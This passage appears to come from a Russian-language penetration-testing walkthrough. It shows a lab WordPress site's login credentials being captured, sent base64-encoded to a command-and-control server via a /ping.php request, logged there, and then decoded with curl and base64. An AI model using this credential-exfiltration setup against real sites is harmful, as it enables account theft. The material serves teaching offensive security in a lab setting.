RoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=

root@kali:~#

Командно-контрольный сервер записалте же учетныеданные в журнале соединений.

root@spider-c2-1:~/c2# php -S 0.0.0.0:80

PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80

Document root is /root/c2 Press Ctrl-C to quit.

[] 192.30.89.138:53039 [200]:

/ping.php?id=eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdo

ZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL

2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn

0=

Если расшифруем данные в формате Base64,то увидим пароль msmith.

root@kali:~# curl -s http://cookingwithfire.local/

wp-content/uploads/.index.php.swp | base64 -d {"log":"msmith","pwd":"iYQN)e#a4s*rLe7ZhWhfS&^v","wp-submit":

"Log In","redirect_to":"http:\/\/cookingwithfire.local\

/wp-admin\/","testcookie":"1"}